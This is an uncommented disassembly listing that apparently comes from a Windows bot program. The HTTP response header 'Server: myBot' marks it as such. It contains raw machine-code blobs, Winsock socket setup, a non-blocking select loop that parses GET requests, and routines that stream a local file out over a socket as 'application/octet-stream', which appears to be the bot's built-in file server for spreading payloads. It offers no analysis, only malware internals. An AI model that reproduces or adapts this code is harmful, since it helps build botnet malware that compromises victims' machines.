		push	dword ptr [ebp-4]
		push	eax
		push	dword_4D3564
		call	dword_4D0874
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 2415FFFFh, 6A004D08h, 26A5606h, 0CA458966h, 8A415FFh
		dd 4589004Dh, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4D0850h
		dd 75FF056Ah, 4C15FF08h, 8B004D08h, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	8B815FFh, 64A3004Dh, 8D004D35h
		dd 5057F445h, 4D356068h, 355C6800h, 45C7004Dh, 0CF4h, 0FC45C700h
		dd 1, 0FFF87D89h, 0F4458DD3h, 58685057h, 68004D35h, 4D3554h
		dd 446AD3FFh, 5784458Dh, 0CFBEE850h, 5CA10000h,	83004D35h
		dd 45890CC4h, 3558A1BCh, 4589004Dh, 16A57C0h, 6AC4458Dh
		dd 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h, 201EE890h
		dd 0FF500231h, 4D355835h, 11E89000h, 50023120h,	19E6E890h
		dd 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 438E04h, 1CE89057h, 8D022626h
		dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 22819ACh
		dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1992E890h, 0FF6A0228h, 0FFF04589h, 0E890D875h, 2291D17h
		dd 0F075FF57h, 2542E890h, 0FF570229h, 39E8EC75h, 90022925h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 23023BAh
		dd 355C35FFh, 0D6FF004Dh, 356035FFh, 0D6FF004Dh, 355435FFh
		dd 0D6FF004Dh, 355835FFh, 0D6FF004Dh, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4D356C, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 2415FFFFh, 53004D08h, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4D08A4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Eh, 0FFFFFF54h, 0C069106Ah, 234h, 376CB889h
		dd 458D0044h, 0FF5750ECh, 4D085015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4D07B8h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 6CA35900h
		dd 59004D35h, 0EE458966h, 6AEC458Dh, 0FF575010h, 4D085015h
		dd 75C63B00h, 0B815FF54h, 33004D07h, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2E176FE8h, 57056A02h, 84C15FFh, 0C63B004Dh
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4D08B8h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 3C15FF08h, 83004D08h, 9674FFF8h
		dd 35FF5656h, 4D0560h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 8E0C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 87415FFh, 0F883004Dh, 43840FFFh
		dd 0FFFFFFFFh, 4D357405h, 0FF38E900h, 0FF57FFFFh, 4D08BC15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22E1670h
		db 90h
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 560A166h, 6583004Dh,	665000B8h, 2B445C7h, 2415FF00h
		dd 66004D08h, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0CC68156Ah, 50004390h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0C468FFFFh, 50004390h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 42EA70h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4390AC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4390A468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43908C68h
		dd 8D61EB00h, 0FFFF5085h, 908468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 9074680Dh, 40EB0043h, 0FF50858Dh
		dd 6C68FFFFh, 50004390h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 5868106Ah, 0EB004390h, 50858D1Fh, 68FFFFFFh,	439054h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	439034h
		dd 2F1E957h, 2CBF0000h,	8D004390h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43902868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43901468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 439010h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 438FFCh, 27BE9h, 50858D00h
		dd 68FFFFFFh, 438FF4h, 0D352E850h, 85590000h, 347559C0h
		dd 0C8BE0A6Ah, 5900438Fh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C068FFFFh
		dd 5000438Fh, 0D307E8h,	0C0855900h, 6A2A7559h, 8FA8BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 438FA0h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 438F7868h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 438F7068h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 438F64h, 0CA2CE850h,	0C4830000h, 1D6A5618h, 438F4468h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 438F3C68h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 438F1068h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 438EF4h, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 8EDC6817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 8EBC68FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4D3330h, 562EEB59h, 9868206Ah, 0EB00438Eh
		dd 50858D1Fh, 68FFFFFFh, 43229Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 438E7Ch, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4D3578, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4D3578
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4D3578
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4D3578
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2680E26h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4D3578
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4D0824
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_44376C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4D084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4D08C0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4D080C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4D0710
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4D083C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4D08BC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_43233C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43910C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D08C0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4D08BC


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4390E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2731461h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4D0874
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
